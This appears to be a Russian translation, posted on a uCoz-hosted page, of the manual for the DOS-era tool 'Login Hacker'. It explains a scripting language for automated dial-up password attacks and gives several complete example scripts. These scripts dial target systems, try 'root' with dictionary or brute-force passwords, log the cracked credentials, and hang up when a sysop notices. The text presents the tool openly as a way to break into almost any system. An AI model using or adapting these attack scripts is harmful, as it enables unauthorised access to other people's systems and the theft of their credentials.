На главную

<b>Экран в интерактивном режиме</b>

Речь идет о том моменте, когда произошла загрузка и запустился скрипт.

Все, что идет из модема, выглядит на вашем экране символами белого цвета.

Все, что записывается в файл регистрации, выглядит на вашем экране

темно-синими символами. Каждое сообщение системы, в том числе CONNECT,

ALARM, HANGUP и ERROR должно отображаться синим цветом. Все вышесказанное

справедливо лишь в том случае, если вы активизировали опцию Print Logoutput

to Screen too.

<b>Горячие клавиши в режиме On-line

ESC</b>

Пауза или выход из меню.

<B>F1</B>

Посказка.

<B>ALT-B</B>

Так называемая базовая клавиша. Позволяет спрятать экран.

<B>ALT-C</B>

Очистка экрана.

<B>ALT-D</B>

Включить или выключить режим отладки.

<B>ALT-H</B>

Вызвать меню HangUp.

<B>ALT-I</B>

Отобразить на экран статистику и другую дополнительную информацию.

<B>ALT-J</B>

Прыгнуть в DOS (не пользуйтесь этой командой в бета-версиях).

<B>ALT-L</B>

Особое меню регистрации.

<B>ALT-T</B>

Загрузить терминальный режим. В этом режиме экран зависает, система

находится под вашим контролем. Вы можете произвести идентификацию

посредством любой из вышеописанных клавиш (кроме ESC). Чтобы выйти из

терминального режима, нажмите ALT-T или ALT-X.

<b>Описание языка скриптов</b>

Скрипты -- это изюминка Login Hacker. Поэтому, если вы научитесь писать

хорошие скрипты, то сможете взломать практически любую систему. Конечно это

не относится к новичкам или тем хакерам, которые никогда не программировали

даже на Бэйсике.

Скрипт должен пройти через компилятор, который проверяет его на

вшивость. Поэтому вы можете быть уверены на 99%, что в процессе атаки не

произойдет сбоя по вине плохого скрипта.

Итак, поехали.

Все, что начинается с точки с запятой -- комментарии. Все, что

начинается с двоеточия -- переход на следующую команду.

Четыре строки, начинающиеся с символа # определяют операторы, с которых

начинается специальная часть скрипта.

Оператор #DEFINE определяет переменную.

Оператор #NOCARRIER осуществляет автоматический возврат в программу в

случае аварийного прерывания сессии, то есть без команды hangup.

Оператор #START активизирует загрузку скрипта.

Оператор #END заканчивает выполнение скрипта.

Все переменные являются необязательными. Исключение составляют

переменные logfile и phone_nr. Вы не можете определять какие-либо

переменные, за исключением тех, которые описаны ниже.

<B>LOGFILE=FILENAME</B>

Определить файл регистрации и место на диске для этого файла. Это

важная переменная используется при написании любого скрипта.

Например:

LOGFILE=C:\OUTPUT\NY-SYS5.LOG

PHONE_NR=NUMBER

Эта переменная используется вместе с командой DIAL. Ее тело может

состоять как из цифр, так и из букв. Это вторая переменная, которую всегда

используют при написании скриптов.

Например:

PHONE_NR=1-800-WHO-CARES

INIT_MODEM=STRING

Если ваш модем должен работать в режиме Pulse Dialing, то поместите

перед телефонным номером аргумент P. Если же ваш модем не может

инициализировать строковые данные, поместите перед соответствующим

телефонным номером команду AT (если эта команда отстствует в Hacker Setup).

Например:

INIT_MODEM=Z

(здесь также может стоять аргумент AT Z)

<B>INIT_DATA=STRING</B>

Инициализация каналов передачи данных, в том числе стоповых битов и

битов четности. Переменная используется в том случае, если соответствующие

параметры отсутствуют в Hacker Setup. В общем случае аргументами этой

переменной являются наборы символов 8N1 и 7E1, то есть аргумент всегда

должен состоять из трех символов. Первый символ -- это цифры 7 или 8,

являющиеся битами данных. Второй символ может быть записан как P (контроль

по нечетности), E (контроль по четности) или N (не контролировать биты

данных). Третий символ соответствует ситуации, когда на первый стартовый бит

налагается первый стоповый бит:

7/8+E/P/N+1/2.

<B>DIAL_TRIES=NUMBER</B>

Эта переменная определяет количество попыток набора номера в диапазоне

от 0 до 65535. Ноль соответствует бесконечному набору номера. Если номер

набран, загружается HANGUP и остальная часть скрипта.

Например:

DIAL_TRIES=3

Standard : 0

Важно: Если эта переменная отсутствует в скрипте, то будут использованы

установки, соответствующие файлу LOGINH.CFG.

<B>LOGIN_TRIES=NUMBER</B>

Эта переменная определяет количество попыток входа в систему в

диапазоне от 0 до 2300000000. Ноль соответствует неограниченной попытке

зарегестрироваться. Если в файле словаря будет достигнут так называемый

конец кадра (EOF), то скрипт автоматически повесит трубку и прекратит

сессию. Время, в течение которого будет осуществляться подбор

регистрационных данных зависит от команд прицепки SEND_NEXT_DIC, NEXT_DIC

или им аналогичных для словаря Brute Force Generator.

Например:

LOGIN_TRIES=0

Standard: 0

Важно: Если эта переменная отсутствует в скрипте, то в атаке будут

использованы установки, соответствующие файлу LOGINH.CFG.

<B>DIC(NUMBER)=FILENAME</B>

Определить словарь, который будет использован соответствующим скриптом.

Аргумент DIC указывает на существующие файлы словарей. Вы можете прицепить к

скрипту от одного до трех словарей. Используйте для этого команды

Send_Next_DIC (1), Send_DIC (1) и Next_DIC (1).

Например :

DIC(1)=C:\HACKING\DICTIONA.RY\BAD_PWS.DIC

<B>FROM_DIC(NUMBER)=STRING</B>

Определить слово, начиная с которого можно использовать словарь в

скрипте.

Например: FROM_DIC(1)=Tracy

<B>BRUTE(NUMBER)=STRING,NUMBER,NUMBER,NUMBER</B>

Определить словарь Brute Force Generator для использования в скрипте.

Brute Force Generator весьма гибок . Четыре параметра словаря Brute Force

Generator разделены запятой. Ниже описывается приемлемая спецификация этих

параметров.

<b>1</b>

a=буквы нижнего регистра.

A=буквы верхнего регистра.

1=цифры.

$=спецсимволы.

^=так называемые контролируемые символы.

Любые синонимы ASCII.

<b>2</b>

Этот параметр сообщает скрипту, какое количество различных символов,

соответствующих параметру 1 необходимо этому скрипту.

Каждое сгенерированное слово, соответствующее параметру 1 всегда

имеется в таком же слове, соответствующим параметру 2. Символ верхнего

регистра и один номер допустимы. Величина, соответствующая нулю неприемлема.

<b>3</b>

Сообщает скрипту возможную минимальную длину для символов пароля,

подобранного при использовании словаря Brute Force Generator.

<b>4</b>

Возможная максимальная длина для символов пароля, подобранного при

использовании словаря Brute Force Generator.

Важно: Минимальная длина символов равна 1, максимальная соответствует

12.

Помните, что вы можете использовать в атаке до трех словарей Brute

Force Generator. Используйте для этого великолепные команды привязки

Next_Brute(1), Send_Next_Brute(1) и Send_Brute(1).

Например:

BRUTE(1)=a,1,1,6

В этом примере используется первый параметр Brute Force Generator со

следующими данными: проверять только символы нижнего регистра; предположить,

что при подборе пароля в словаре присутствует хотя бы один действительный

символ; минимальная длина регистрационного слова равна единице, максимальная

-- шести .

<b>FROM_BRUTE(number)=STRING</b>

Начать инициализацию со словарем Brute Force Generator. При этом важно

следующее: если инициализация началась с четвертой буквы, а вы

просматриваете диапазон от 1 до 8 буквы, то диапазон от 1 до 3 будет

игнорироваться, то есть сначала идет подбор aaaa, затем aaab, затем aaac и

т .д .

Например :

FROM_BRUTE(1)=2527

<b>Секция #NOCARRIER</b>

Это будет выполняться всякий раз, когда вы не используете команду

HANGUP. Если в скрипте отсутствуют операторы GOTO (*START) или GOTO (1), то

дальше он выполняться не будет. Это означает, что вы снова должны набрать

модемный номер доступа к системе. Поэтому проверьте установки в DIAL_TRIES.

<b>Секция #START</b>

В этой важной секции описываются операторы, которые в дальнейшем будут

ломать систему.

<B>LOG(STRING)</B>

Команда LOG() записывает в файл регистрации некоторую информацию. Это

может быть любой текст, переменные, перед которыми всегда должен стоять знак

$ (знак доллара), а также пробелы между словами. В конец строки каждая

команда LOG() автоматически печатает возврат каретки.

Примеры :

LOG(Beginning on $DATE * $TIME)

Будет выведено следующее:

"Beginning on 24-12-96 * 23:00"

LOG_(STRING)

Этот пример аналогичен вышеприведенному, за исключением того, что после

текста отсутствует CRLF (End-Of-Line).

<b>:NUMBER</b>

Каждая линия, начинающаяся с : (двоеточия) маркируется оператором GOTO.

Вы можете использовать 240 маркировок в диапазоне от 1 до 240. Другие номера

неприемлемы. Переход к нужному маркеру осуществляется командами передачи

управления GOTO, GOSUB, CHECK4OUTPUT и CHECK4CARRIER.

Например: :1

В этом примере на соответствующую строку выполняется переход к точке с

номером 1.

<B>GOTO(NUMBER)</B>

Передать управление на маркировку перехода. Вы можете также осуществить

переход командами #START, #NOCARRIER и #END.

Например: GOTO(#END) (выполнение скрипта завершено).

<B>GOSUB(NUMBER)</B>

С командой подстановки GOSUB вы осуществляете переход к следующей

маркировке. Команда GOSUB, как правило исполняется уже после перехода на

следующий маркер, то есть в тот момент, когда команды GOSUB и RETURN

столкнутся между собой. Обратите внимание, что вот такая команда невозможна:

GOSUB(#END).

Например : GOSUB(4)

<B>RETURN</B>

Это так называемая команда выхода из подпрограммы. Используя эту

команду, вы можете возвратиться к местоположению последней выполненной

команды GOSUB и продолжить обычное выполнение скрипта. Если в буферном

регистре команда RETURN сталкивается с несуществующим начальным адресом

GOSUB, то она будет игнорироваться. В одном буферном регистре вы можете

иметь до 255 подстановок GOSUB.

Например: RETURN

<B>CHECK4CARRIER(NUMBER)</B>

Проверка модема на соединение с линией, то есть проверка на несущую

частототу. Команда будет выполняться в случае отсутствия перехода к

указанной маркировке (переход соответствует команде GOTO). Если переход

обнаружен, то устанавливается внутреннее соединение с переменной TRUE для

проверки на NO_CARRIERS. Вы можете также осуществлять процедуры перехода к

*NOCARRIER, *START и *END. Также возможно осуществить проверку модема только

на ON или OFF. Если команда CHECK4CARRIER(ON) выполнена с переходом к

маркеру, отмечающему обнаружение линии, и, если представлен NOT, то

управление передается на *NoCarrier. Эта команда полезна только в том

случае, когда вы оказываетесь на CHECK4CARRIER(OFF) и не хотите использовать

команду DIAL, чтобы соединиться с удаленной системой (позвольте набрать

номер SCAVENGER DIALER).

Примеры :

CHECK4CARRIER(#NOCARRIER)

CHECK4CARRIER(5)

CHECK4CARRIER(ON)

CHECK4CARRIER(OFF)

CHECK4OUTPUT(NUMBER)

Это будет выполнено подобно нижеописанной функции ALARM: Если выходной

сигнал (OUTPUT) модема обнаружен, то переходы будут осуществляться

непосредственно к указанной маркировке. Вы можете также передать управление

к *NOCARRIER, *START и *END. Также возможно отключить проверку на OFF, то

есть заблокировать указанную проверку выходного сигнала.

Например :

CHECK4CARRIER(#NOCARRIER)

CHECK4CARRIER(5)

CHECK4CARRIER(OFF)

<B>DIAL</B>

Набор номера PHONE_NR. Если с системой нет соединения, то сначала в

модем будет послана команда: "Повесить трубку!".

Например: DIAL

<B>HANGUP</B>

Поднять и опустить трубку.

Например : HANGUP

<B>WAIT4STRING(NUMBER,STRING,NUMBER,

COMMAND,STRING)</B>

В представленном здесь языке скриптов это самая важная команда. После

ее выполнения выходной сигнал модема будет находиться в состоянии ожидания.

В этот момент должна начаться загрузка специального слова. Если стыковка

осуществлена, то скрипт продолжается, если -- нет, то после таймаута в модем

будет отправлена заданная последовательность, затем -- вновь таймаут и,

наконец, идет выполнение команды.

Важно: Сначала команда WAIT4STRING проверяет текущую строку с

представленным словом. Синтаксис: WAIT4STRING(a,b,c,d,e).

<b>a</b>

Определить таймаут в диапазоне от 0 до 255 секунд. Ноль соответствует

неограниченному ожиданию, то есть ждать до тех пор пока не наступит так

называемый TOTAL TIMEOUT (скрипт переходит в секцию #NOCARRIER в том случае,

если данные не поступают из модема в течение пяти минут). Если ничего не

получено, то последовательность в потоке данных распознается снова, или в

какой-то момент несущая частота объявляется потерянной.

<b>b</b>

Последовательность данных, которая будет послана в модем после

таймаута.

<b>c</b>

Частота отказов или количество общего времени, в течение которого может

выполняться фатальная команда. Диапазон: от 0 до 255 (0=никогда, 1=первый

раз).

<b>d</b>

Выполнение специальной фатальной команды. Это могут быть любые команды,

исключая : ALARM, WAIT4STRING и IF.

<b>e</b>

Последовательность данных для ожидания. Данные чувствительны к

регистру.

Например: WAIT4STRING(15,^M,2,GOTO(1),ogin:)

В этом примере происходит ожидание последовательности ogin: в течение

15 секунд. Если стыковка не получилась, а каретка возвращается в модем (^M),

то команда снова ждет 15 секунд, пока вновь не наладится стыковка с

последовательностью данных ogin:.

Как только истекут следующие 15 секунд, вызывается фатальная команда,

что означает переход к GOTO с меткой под номером 1.

<B>LOG_SESSION_ON</B>

Начиная с этого пункта, все данные поступающие из модема записываются в

файл регистрации.

Например: LOG_SESSION_ON

<B>LOG_SESSION_OFF</B>

Если содержимое экрана записано в файл регистрации, то к этому пункту

больше не будет обращений.

Например: LOG_SESSION_OFF

<B>SEND(STRING)</B>

Команда SEND передает последовательность данных в модем. Через эту

команду вы можете пересылать в модем переменные со знаком $. В конец

последовательности передается возврат каретки. Если последовательность

данных не задана, то сразу осуществляется переход на возврат каретки.

Например :

SEND(echo Hacked you system Time: $TIME - Date:

$DATE > HACKED.TXT)

В данном примере команда SEND посылает в модем следующую строку:

echo HAcked your system Time: 23:00 - Date: 24-12-95 > HACKED.TXT

<B>SEND_()</B>

Эта команда аналогична вышеописанной, но она не посылает в модем символ

возврата каретки ^M. Ее можно использовать, если вам нужно загрузить в модем

только один символ или командный режим +++.

Примеры :

SEND_(n)

SEND_(+++)

<B>SEND_NEXT_DIC(NUMBER)</B>

Например : SEND_NEXT_DIC(1)

<B>SEND_DIC(NUMBER)</B>

Переслать текущий словарь в модем.

Например : SEND_DIC(1)

<B>NEXT_DIC(NUMBER)</B>

Переместиться на слово, соответствующее аргументу NUMBER.

Например : NEXT_DIC(1)

<B>SEND_NEXT_BRUTE(NUMBER)</B>

Используя Brute Force Generator, сгенерировать следующую допустимую

последовательность и переслать ее в модем.

Например : SEND_NEXT_BRUTE(1)

<B>SEND_BRUTE(NUMBER)</B>

Переслать в модем текущую последовательность допустимых данных из

словаря Brute Force Generator.

Например : SEND_BRUTE(1)

<B>NEXT_BRUTE(NUMBER)</B>

Сгенерировать следующую допустимую последовательность данных из словаря

Brute Force Generator.

Например : NEXT_BRUTE(1)

<B>IF VARIABLE OPERATOR STRING THEN COMMAND</B>

Команда IF первой версии этой программы не очень гибкая. Синтаксис этой

команды следующий :

IF <variable><operator><string> THEN <command>

<variable>

<operator>

Означает равносильность при аргументе =, больше или меньше при

аргументах < или > соответственно и переменную содержащую любую

последовательность слов при аргументе <b>~</b>. Переменные и последовательности

должны быть дискретными переменными.

<b><command></b>

Эта команда выполнится в том случае, если будет соблюдено условие TRUE.

Чтобы ее использовать, просмотрите список команд для оператора WAIT4STRING.

Например :

IF STRING~ogin THEN GOTO(3)

То есть, если текущая строка (STRING) содержит дискретную (~)

последовательность данных ogin, то идти (GOTO) к маркеру с номером 3.

<B>EXECUTE(STRING)</B>

Выполнить DOS-программу, а затем запустить скрипт. Вы должны включить

переменные в выполняему строку. Вы также должны выполнить соответствующие

внутренние команды MS DOS. Помните, что перед переменной может стоять знак $

с возможными пробелами позади и впереди самого знака.

Важно: Если вы хотите запустить программу в то время, когда по вашему

скрипту осуществлено соединение, то вы должны использовать драйвер fossil. В

противном случае ваш компьютер зависнет. Поэтому запустите X00.EXE E 2 перед

выполнением программы Login Hacker.

Важно: Чтобы ваша программа не была повреждена, предварительно

сохраните ее в каталоге отличном от исходного.

Примеры :

EXECUTE(C:\SB\VPLAY C:\SB\VOC\HACKED.VOC)

EXECUTE(COPY $LOGFILE C:\HACKED)

ALARM(STRING,COMMAND)

Опасно! Нажимать на спусковой крючок! Если на удаленном компьютере

сработала система защиты, то вы будете активны до тех пор, пока не

выполнится эта команда.

<B>STRING</B>

Последовательность, для которой осуществляется поиск данных с их

последующей передачей в модем.

<B>COMMAND</B>

Эта команда будет выполнена после стыковки. Чтобы ее использовать,

просмотрите листинг команд для WAIT4STRING. Примените эту команду в том

случае, например, если вы взломали BBS, а сисоп вас раскусил и задает глупые

вопросы. После этой команды вы автоматически прервете соединение и

остановите выполнение скрипта.

Например:

ALARM(chat,GOTO(#END))

<B>SET VARIABLE=STRING</B>

Этой командой вы определяете переменную в секции #START или #NOCARRIER.

Если переменная является статической переменной, то вы должны это отметить.

Вы должны устанавливать только следующие переменные: STRING, DIAL_TRIED,

LOGIN_TRIED, S_TMP и D_TMP.

Например:

SET D_TMP=3

Определить статическую переменную D_TMP в качестве 3.

<B>INC(DIGIT_VARIABLE)</B>

Увеличить число указанной переменной на 1. Эта команда будет выполнена

лишь в том случае, если переменная после дополнения не находится в указанном

диапазоне.

Имеют силу следующие команды: DIAL_TRIES, DIAL_TRIED, LOGIN_TRIES,

LOGIN_TRIED и D_TMP.

Например : INC(D_TMP)

<B>DEC(DIGIT_VARIABLE)</B>

Уменьшить чило указанной переменной на 1. Эта команда будет выполнена

лишь в том случае, если переменная после вычитания не будет находиться вне

указанного диапазона.

Имеют силу следующие команды: DIAL_TRIES, DIAL_TRIED, LOGIN_TRIES,

LOGIN_TRIED и D_TMP.

Например :

DEC(D_TMP)

<B>WAIT(NUMBER)</B>

Ожидать до тех пор, пока идут секунды, определенные аргументом NUMBER.

Аргумент NUMBER соответствует любому числу в диапазоне от 1 до 65535.

Например: WAIT(10) (десять секунд)

<B>WAIT_(NUMBER)</B>

Ожидать до тех пор, пока идут миллисекунды, определенные аргументом

NUMBER. Аргумент NUMBER соответствует любому числу в диапазоне от 1 до

65535.

Например: WAIT(500) (полсекунды)

<B>BEEP</B>

Создает сигнал, похожий на легкий звук бибикалки!

<b>Переменные и управляющие символы</b>

Речь идет о переменных, которые могут быть использованы в командах

SEND() или LOG(). Как уже отмечалось, закачка переменных в модем или файл

регистрации определяется символом $ (доллара), поставленным перед

соответствующей переменной, и пробелами. Вы можете использовать #DEFINE

любые специфические переменные. Вам их нужно только определить.

<B>STRING</B>

Символы пересылаются из модема в последнюю строку.

<B>STRING2</B>

Последние 250 символов отправляются из модема.

<B>DIAL_TRIED</B>

Фактические попытки набора номера.

<B>LOGIN_TRIED</B>

Фактические попытки получить имя и пароль.

<B>TIME</B>

Действительное время в часах и минутах (двоеточие пропускается).

Например, TIME=1505 означает 15:05.

<B>DATE</B>

Текущая дата в формате MMDD. Например, DATE=503 означает 3 мая.

<B>DIC(1)</B>

Текущий загруженный словарь 1.

<B>BRUTE(2)</B>

Текущая строка словаря Brute Force Generator 2.

<B>S_TMP</B>

Переменная строка. Вы можете ее использовать, как вам нравится.

<B>D_TMP</B>

Переменная для цифр. Вы можете ее использовать, как вам нравится.

В командах IF и SET вы можете использовать исключительно вышеописанные

переменные. Переменные из #DEFINE исключаются. Только статические переменные

и константы приемлемы для IF! Не нужно также использовать знак $ перед

переменной. Этот знак допустим только в командах SEND, LOG и WAIT4STRING.

Например :

IF TIME>1215 THEN GOTO #END

(отсоединиться после 12:15).

LOG($DIC(3))

<B>SEND($S_TMP)</B>

Теперь относительно спецсимволов. Вы можете записывать любые

управляющие символы вместе с командами LOG, SEND или WAIT4STRING через знак

^ (шапочка). Это означает, что вы можете ввести, например, ^M или написать

^^ ... окей?, или использовать любые конструкции от ^A до ^Z плюс ^[ ^\ ^] и

^^.

Например:

SEND_(^D)

#DEFINE

<определения>

#NOCARRIER

<некоторые команды>

#START

<ваш алгоритм>

#END

<b>Сообщения об ошибках</b>

Если в процессе компиляции вы получаете сообщение об ошибке, то

помните, что в вашем распоряжении имеется файл <name>.BAK. Просмотрите и

внимательно изучите содержимое этого файла.

При компилировании скрипта может всплыть только два сообщения об

ошибке:

<B>WARNING</B>

Вы что-то не так скомпилировали. Компилятор в любом случае создаст

скрипт, который может запуститься без всяких проблем. Это сообщение,

например, может быть выдано, если невозможно найти указанный словарь.

Возможно, что вы не полностью подготовили копию.

<B>ERROR</B>

Это критическая ошибка. В какой-то момент компилятор прервал

необходимую процедуру завершения. Для исправления этой ошибки проверьте файл

с расширением .BAK и ваш исходный файл.

<b>Пример стандартного скрипта</b>

#DEFINE

PHONE_NR=,

LOGFILE=lh&scave.log

DIC(1)=d:\project\hack\word\badpws.dic

; задайте корректный путь к вашему словарю

#NOCARRIER

IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s hangup.scr)

LOG(Carrier lost on $DATE at $TIME)

LOG()

GOTO(#START)

#START

SET S_TMP=UNDEFINE

;SET S_TMP=DEFINE

HANGUP

LOG_SESSION_ON

SET STRING2=

IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s pickup.scr)

IF S_TMP=UNDEFINE THEN SEND(AT H1)

EXECUTE(scavenge.exe /nooutput /s thc&scav.scr)

:111

SEND(ATD)

SET D_TMP=0

:112

WAIT(1)

INC(D_TMP)

IF D_TMP>50 THEN GOTO(99)

CHECK4CARRIER(112)

SEND()

; послать возврат каретки после соединения

:1

WAIT(1)

IF STRING2~assw THEN GOTO(2)

GOTO(1)

:2

SEND_NEXT_DIC(1)

WAIT(2)

IF STRING2~ncorr THEN GOTO(3)

GOTO(50)

:3

SET STRING2=

:4

WAIT(1)

IF STRING2~assw THEN GOTO(5)

GOTO(4)

:5

SEND_NEXT_DIC(1)

WAIT(2)

IF STRING2~ncorr THEN GOTO(6)

GOTO(50)

:6

SET STRING2=

:7

WAIT(1)

IF STRING2~assw THEN GOTO(8)

GOTO(7)

:8

SEND_NEXT_DIC(1)

WAIT4STRING(10,,1,GOTO(50),ncorr)

GOTO(99)

:50

BEEP

BEEP

BEEP

LOG(------------- -----------------)---- -------------------)

LOG($DATE $TIME)

LOG()

LOG(PASSWORD: $DIC(1))

LOG()

GOTO(150)

:99

CHECK4CARRIER(OFF)

IF S_TMP=UNDEFINE THEN GOTO(#START)

EXECUTE(scavenge.exe /s rebreak.scr)

; создание скрипта для перенабора номера и дозвона до цели

GOTO(111)

:150

IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s hangup.scr)

GOTO(#END)

#END

<b>Первый пример скрипта</b>

Системный дескриптор: UNIX на F.

Но вы никогда не должны это делать.

#DEFINE

LOGFILE=C:\OUTPUT\NY-SYS5.LOG

PHONE_NR=I dont tell you ;)

DIAL_TRIES=3

LOGIN_TRIES=0

DIC(1)=C:\HACKING\DICTIONA.RY\BAD_PWS.DIC

#NOCARRIER

BEEP

BEEP

BEEP

LOG(NO CARRIER)

LOG(ON $DATE $TIME)

LOG(AT $DIC(1))

LOG()

GOTO(#START)

#START

LOG(------------------------- -----)---- -------------------)

LOG(TARGET : $PHONE_NR ON $DATE - $TIME)

LOG()

:1

LOG(Dialing ...)

DIAL

LOG($STRING)

LOG_SESSION_ON

SEND()

SEND()

WAIT4STRING(15,^M,4,GOTO(1),name)

SEND( )

LOG_SESSION_OFF

:2

SEND(CONNECT HACK.THIS.SYSTEM.EDU)

:3

WAIT4STRING(30,^C,1,GOTO(2),ogin:)

SEND(root)

WAIT4STRING(20,^D,1,GOTO(2),assword:)

SEND_NEXT_DIC(1)

IF STRING~ogin: THEN GOTO(3)

IF STRING~refused THEN GOTO(2)

LOG()

LOG($STRING)

LOG()

LOG(!!!!! WE GOT THROUGH !!!!!!)

LOG(Login : root)

LOG(Password : $DIC(1))

LOG()

BEEP

BEEP

BEEP

BEEP

BEEP

HANGUP

GOTO(#END)

#END

<b>Второй пример скрипта</b>

#DEFINE

INIT_MODEM=AT&N15

INIT_DATA=7E1

LOGFILE=C:\OUTPUT\TELEKOM4.LOG

PHONE_NR=I dont tell you ;)

DIAL_TRIES=3

LOGIN_TRIES=0

BRUTE(1)=1,1,1,12

#NOCARRIER

BEEP

BEEP

BEEP

LOG(NO CARRIER)

LOG(ON $DATE $TIME)

LOG(AT $BRUTE(1))

LOG()

GOTO(#START)

#START

LOG(-----------------------------------)---- ---------------)

LOG(TARGET : $PHONE_NR ON $DATE - $TIME)

LOG()

:1

LOG(Dialing ...)

HANGUP

DIAL

LOG($STRING)

WAIT4STRING(15,^M,4,GOTO(1),PA)

:2

SEND_NEXT_BRUTE(1)

WAIT4STRING(3,^M,2,GOTO(3),PA)

GOTO(2)

:3

LOG_SESSION_ON

SEND()

SEND(?)

SEND(HELP)

SEND(HILFE)

LOG()

LOG(!!!!! WE GOT THROUGH !!!!!!)

LOG(Password : $BRUTE(1))

LOG()

BEEP

BEEP

BEEP

BEEP

BEEP

HANGUP

GOTO(#END)

#END

<b>Третий пример скрипта</b>

Этот скрипт может быть использован на некоторых небесплатных телефонных

линиях 0130-xxxxxx.

; Система требует пароль

; Неограниченное количество попыток позволяет войти в систему

;

; 30xCrLf

; PASSCODE:*****

;

#DEFINE

INIT_MODEM=AT &F L2

INIT_DATA=8N1

LOGFILE=xxxxxx.LOG

PHONE_NR=0130xxxxxx

DIAL_TRIES=5

LOGIN_TRIES=0

DIC(1)=C:\2\thc-lh09\w1.w

#NOCARRIER

BEEP

BEEP

BEEP

LOG(NO CARRIER)

LOG(ON $DATE $TIME)

LOG(AT $DIC(1))

LOG()

GOTO(#START)

#START

LOG(------------------- ---------)---- -------------)

LOG(TARGET : $PHONE_NR ON $DATE - $TIME)

LOG()

:1

LOG(Dialing ...)

HANGUP

DIAL

LOG($STRING)

WAIT4STRING(30,.^M,3,GOTO(1),PASS)

:2

set string=

SEND_NEXT_DIC(1)

wait(1)

LOG($DIC(1))

; да, регистрироваться с каждой попытки!

WAIT4STRING(15,.^M,3,GOTO(3),PASS)

GOTO(2)

:3

LOG_SESSION_ON

SEND()

SEND(?)

SEND(HELP)

SEND()

LOG()

LOG(!!!!! WE GOT THROUGH !!!!!!)

LOG(Password : $DIC(1))

LOG()

BEEP

BEEP

BEEP

BEEP

BEEP

HANGUP

GOTO(#END)

#END

<b>Четвертый пример скрипта</b>

Это скрипт предназначен исключительно для платформ Telnet.

#DEFINE

init_modem=z

init_data=8n1

LOGFILE=xxxxxx.log

PHONE_NR=xxxxxx

DIAL_TRIES=0

LOGIN_TRIES=0

DIC(1)=D:\hackusr\dictbig.txt

;dic(2)=d:\hackusr\bigdict2.txt

;dic(3)=d:\hackusr\bigdict3.txt

#NOCARRIER

LOG(NO CARRIER)

LOG(ON $DATE $TIME)

LOG(AT $DIC(1))

LOG(returning ...)

GOTO(#START)

#START

HANGUP

LOG_SESSION_ON

LOG()

log()

log( HaCK ATTeMPT STaRTeD ......)

log()

log( TaRGeT: $PHONE_NR )

log( DaTe: $DATE )

log( TiMe: $TIME)

log()

log()

log( ......DiaLiNG)

dial

log()

log( ......CoNNeCTeD!)

log()

log()

wait(5)

:1

wait4string(1,^M,5,goto(#start),sername>)

send(fh65)

:2

wait4string(1,^M,5,goto(#start),ocal>)

send(connect 189.25.56.7)

:3

if string~sconnected then goto(2)

if string~ncorrect then goto(3)

wait4string(1,^C,5,goto(4),ogin:)

send(root)

if string~sconnected then goto(2)

if string~ncorrect then goto(3)

:4

if string~sconnected then goto(2)

if string~ncorrect then goto(3)

wait4string(1,^D,5,goto(4),assword:)

send_next_dic(1)

if string~sconnected then goto(2)

if string~ncorrect then goto(3)

:5

if string~sconnected then goto(2)

if string~ncorrect then goto(3)

:6

wait(1)

if string~sconnected then goto(2)

if string~ncorrect then goto(3)

wait(1)

if string~sconnected then goto(2)

if string~ncorrect then goto(3)

wait(1)

if string~sconnected then goto(2)

if string~ncorrect then goto(3)

wait(1)

if string~sconnected then goto(2)

if string~ncorrect then goto(3)

wait(1)

if string~sconnected then goto(2)

if string~ncorrect then goto(3)

wait(1)

if string~sconnected then goto(2)

if string~ncorrect then goto(3)

wait(1)

if string~sconnected then goto(2)

if string~ncorrect then goto(3)

wait(1)

if string~sconnected then goto(2)

if string~ncorrect then goto(3)

wait(1)

if string~sconnected then goto(2)

if string~ncorrect then goto(3)

:7

beep

beep

beep

beep

beep

beep

beep

beep

beep

log()

log()

log()

Log(...... HaCK ATTeMPT WaS SuCCeSSFuLL!!!!!!!!!!!!!!)

log()

log( TaRGeT: $PHONE_NR DaTe: $DATE TiMe: $TIME)

log()

log()

log()

log( ACCouNT: root)

log( PaSSWoRD: DIC(1))

log()

log()

log()

#END

На главную

Хостинг от uCoz